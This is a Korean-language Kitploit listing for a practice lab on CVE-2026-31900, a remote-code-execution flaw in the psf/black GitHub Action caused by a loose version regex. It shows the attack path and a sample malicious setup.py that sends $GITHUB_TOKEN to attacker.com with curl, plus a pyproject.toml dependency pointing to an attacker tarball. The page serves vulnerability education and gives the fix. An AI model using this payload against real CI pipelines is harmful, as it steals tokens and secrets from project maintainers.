Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-31900-lab — CVE-2026-31900 취약점 실습 환경 - psf/black GitHub Action RCE | Kitploit
도구/GitHubGitHub/batosay1337lab/cve-2026-31900-lab
Vulnerability AnalysisExploitationWeb SecuritySupply Chain SecurityLearning & EducationLabs & Practice
GitHubbatosay1337lab/cve-2026-31900-lab

cve-2026-31900-lab

CVE-2026-31900 취약점 실습 환경 - psf/black GitHub Action RCE

저장소 보기
1165개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31900 — 취약 실습 환경

psf/black GitHub Action의 안전하지 않은 정규식 검증을 통한 RCE

필드세부 정보
CVECVE-2026-31900
CVSS8.7 (높음)
권고GHSA-v53h-f6m7-xcgm
영향 범위psf/black GitHub Action < v26.3.0
유형공급망을 통한 RCE (pull_request 트리거)

취약점

use_pyproject: true 옵션은 pyproject.toml에서 Black 버전을 읽습니다. 버전 문자열 검증에 사용되는 정규식은 re.IGNORECASE로 인해 과도하게 허용적이며, 공백, @, :, / 같은 문자를 허용합니다 — 이는 PEP 508 URL 요구 사항에 정확히 필요한 문자들입니다.

취약한 정규식

root@kitploit:~
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)

공격 경로

  1. 이 저장소를 포크합니다
  2. 포크한 저장소에서 pyproject.toml을 수정합니다:
root@kitploit:~
[project]
dependencies = [
    "black @ https://attacker.com/malicious_black.tar.gz"
]
  1. Pull Request를 엽니다 → pull_request 워크플로우 트리거가 실행됩니다
  2. Action이 pyproject.toml에서 악성 버전을 읽고, 정규식 검증을 우회합니다
  3. pip가 공격자가 제어하는 패키지를 설치합니다 → setup.py가 임의 코드를 실행합니다

악성 패키지 setup.py 예시

root@kitploit:~
from setuptools import setup
import os

os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")

자격 증명 탈취 영향

  • $GITHUB_TOKEN (CI 러너 토큰)
  • 워크플로우 환경에 주입된 모든 시크릿

수정 방법

psf/black v26.3.0으로 업그레이드하거나, use_pyproject: true 대신 워크플로우 YAML에서 버전을 명시적으로 고정하세요.

실습 구조

root@kitploit:~
.github/workflows/black.yml   ← 취약한 워크플로우 (use_pyproject: true)
pyproject.toml                ← 정상 구성 (main 브랜치)
app.py                        ← 포맷팅 대상 샘플 Python 파일
도구 다운로드